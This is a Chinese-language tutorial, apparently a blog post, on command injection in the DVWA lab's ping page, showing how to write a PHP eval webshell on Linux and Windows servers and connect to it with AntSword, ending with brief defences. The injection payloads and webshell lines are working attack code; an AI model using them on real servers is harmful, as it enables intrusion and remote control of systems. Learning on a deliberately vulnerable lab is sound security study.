windows和linux一句话木马区别

今天学习命令执行遇到的关于php写入一句话木马的问题.

通过DVWA中的命令执行题目讲解 难度low

命令执行相关知识点

命令执行直接调用操作系统命令。其原理是,在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,造成命令执行漏洞。

1
2
3
4
命令1&命令2    两个命令同时执行命令
1&&命令2   只有前面命令执行成功,后面命令才继续执行
命令1;命令2   不管前面命令执行成功没有,后面的命令继续执行
命令1||命令2   顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
1
2
3
4
5
6
### PHP中常见命令执行函数 

- system():执行一个外部的应用程序的输入并显示输出的结果
- exec():执行一个外部的应用程序,但不显示输出的结果
- passthru():执行一个系统命令并显示原始的输出
- shell_exec():执行shell命令并返回输出的结果的字符串

一道关于ping命令的命令执行题目

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
区别

源代码分析可知,服务器没有进行任何的过滤,我们可以通过连接符号来执行我们想要执行的系统命令.

但是当我通过命令执行来写入一句话木马的时候发现在不同的服务器平台下对应的写入一句话木马有区别

通过linxu平台搭建的DVWA测试

构造payload

1
127.0.0.1 & echo '<?php @eval($_POST[cmd]);?>' > test.php  

成功在服务器当前目录下写入一句话木马.

在linux的shell中的echo写命令时,’和”默认均为写入的为字符串

1
2
echo '<?php @eval($_POST[cmd]);?>' > 1.php 
echo "<?php @eval($_POST[cmd]);?>" > 2.php

但是当我通过” “写入时发现后面的字符消失掉了

这是因为PHP单引号及双引号均可以修饰字符串类型的数据,如果修饰的字符串中含有变量(例$name);最大的区别是: 双引号会替换变量的值,而单引号会把它当做字符串输出。后我们$_POST[cmd]变量默认为空,所以我们后面的字符串就默认消失了这个时候我们需要加上转义字符,改变他原来的含义即可.

1
echo "<?php @eval(\$_POST[cmd]);?>" > 2.php

我们再通过蚁剑连接即可

通过windows平台搭建DVWA测试

我继续时候linux系统时的payload执行

1
127.0.0.1 & echo '<?php @eval($_POST[cmd]);?>' > test.php 

发现在我们的网站对应目录并没有生成对应的木马文件

继续在尝试” “写入一句话木马

1
127.0.0.1 & echo "<?php @eval($_POST[cmd]);?>" > test.php 

可以看到成功写入一句话木马,并且仔细观察和之前linux平台写入的一句话木马发现我们echo输入的” “也被写入到了木马文件当中去

这是为什么呢?

我们都知道windows当中执行命令的默认是cmd窗口所以我们写入的payload当中的写一句话的echo函数相当于在cmd中执行的.

因此我们在cmd使用echo函数测试

我们分别尝试’ ‘和” “测试

cmd中” “测试
1
echo "<?php @eval($_POST[123]);?>" >test.php

成功写入,查看木马文件

和我们刚才想到一样” “也没写入到文件当中,但是最终同样会以php文件进行解析,不影响最后的结果

cmd中’ ‘测试
1
echo '<?php @eval($_POST[123]);?>' >test.php

发现报错

这是因为在linux的shell中,无论我们输入’ ‘ 还是” “shell中的echo都会默认把我们的输入作为字符串输入到文件中然后cmd中的echo并不知道这种写法.

但是在cmd中我们也可以直接不加’ ‘和” “进行文件写入

^以转义字符的身份出现。因为在cmd环境中,有些字符具备特殊功能,如>、>>表示重定向,|表示管道,&、&&、||表示语句连接……它们都有特定的功度能,如果需要把它们作为字符输出知的话,echo >、echo | ……之类的写法就会出错——cmd解释器会把它们作为具有特殊功能的字符对待,而不会作为普通字符处理,这个时候,就需道要对这些特殊字符做转义处理:在每个特殊字符回前加上转义字符^答,因此,要输出这些特殊字符,就需要用 echo ^>、echo ^|、echo ^|^|、echo ^^……之类的格式来处理。

https://blog.csdn.net/weixin_40650190/article/details/105562637

因此同样我们也可以构造以下payload

1
echo ^<? php @eval($_POST['cmd']); ?^> >shell.php

>在windows中^为转义符身份像>在windows同样有其含义,因此我们就需要用^对其进行转移.

最后的payload

1
127.0.0.1 & echo ^<?php @eval($_POST[cmd]);? ^> > test.php 
1
127.0.0.1 & echo "<?php @eval($_POST[cmd]);?>" > test.php 

成功写入.

蚁剑尝试连接

连接成功

命令执行漏洞防御:

  • 进入命令执行的函数或者方法之前,对参数进行过滤
  • 参数的值尽量用引号包裹(单引号变量不解析),并在拼接前调用addslashes进行转义
  • 禁止能执行系统命令的函数,可在php的配置文件中设置 disable_functions